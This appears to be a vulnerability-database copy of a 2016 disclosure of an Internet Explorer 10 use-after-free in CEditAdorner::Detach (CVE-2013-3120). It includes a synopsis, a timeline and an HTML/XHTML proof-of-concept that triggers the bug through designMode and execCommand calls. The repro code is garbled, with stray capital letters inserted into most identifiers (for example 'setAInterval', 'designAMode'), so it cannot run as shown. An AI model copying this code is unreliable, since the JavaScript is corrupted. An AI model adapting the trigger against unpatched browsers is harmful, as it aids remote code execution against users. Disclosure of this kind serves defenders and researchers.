Microsoft Internet Explorer 10 MSHTML CEditAdorner::Detach Use-After-Free

2016-11-2500:00:00

SkyLined

packetstormsecurity.com

0.687 Medium

EPSS

Percentile

97.7%

JSON

`Throughout November, I plan to release details on vulnerabilities I  
found in web-browsers which I've not released before. This is the  
nineteenth entry in that series. Unfortunately I won't be able to  
publish everything within one month at the current rate, so I may  
continue to publish these through December and January.  
  
The below information is available in more detail on my blog at  
http://blog.skylined.nl/20161125001.html. There you can find a repro  
that triggered this issue in addition to the information below.  
Today's release is a bit skimpy as it was found over 3 years ago, back  
when I did not have the tool-set to analyze issues that I have today.  
  
Follow me on http://twitter.com/berendjanwever for daily browser bugs.  
  
MSIE 10 MSHTML CEditAdorner::Detach use-after-free  
==================================================  
(MS13-047, CVE-2013-3120)  
  
Synopsis  
--------  
A specially crafted web-page can cause Microsoft Internet Explorer 10 to  
continue to use an object after freeing the memory used to store the  
object. An attacker might be able to exploit this issue to execute  
arbitrary code.  
  
Known affected software and attack vectors  
------------------------------------------  
+ Microsoft Internet Explorer 10  
  
An attacker would need to get a target user to open a specially  
crafted web-page. Disabling Javascript should prevent an attacker  
from triggering the vulnerable code path.  
  
Details  
-------  
The last line of script (`designMode = "off"`) will cause some cleanup  
in MSIE, which appears to trigger use of a stale pointer in  
`CEditAdorner::Detach`. I did not investigate further.  
  
Time-line  
---------  
* November 2012: This vulnerability was found through fuzzing.  
* November 2012: This vulnerability was submitted to EIP.  
* December 2012: This vulnerability was rejected by EIP.  
* January 2013: This vulnerability was submitted to ZDI.  
* March 2013: This vulnerability was acquired by ZDI.  
* June 2013: This issue was addressed by Microsoft in MS13-047.  
* November 2016: Details of this issue are released.  
  
Cheers,  
  
SkyLined  
  
  
  
Repro.html  
  
<!DOCTYPE html>  
<html>  
<head>  
<script>  
var oAWindow = window.open("window.xhtml");  
setAInterval(function () {  
try {  
oAWindow.eval("(" + function () {  
document.designAMode = "on";  
document.execACommand("SelectAAll");  
var oASelection = window.getASelection();  
oASelection.collapse(document,1);  
document.execACommand("InsertAImage", false);  
document.designAMode="off";  
} + ")()");  
} catch (e) {}  
}, 1);  
</script>  
</head>  
</html>  
  
Window.xhtml  
  
<!-- comment --><html xmlns="http://www.w3.org/1999/xhtml">  
</html>  
  
`

0.687 Medium

EPSS

Percentile

97.7%

JSON

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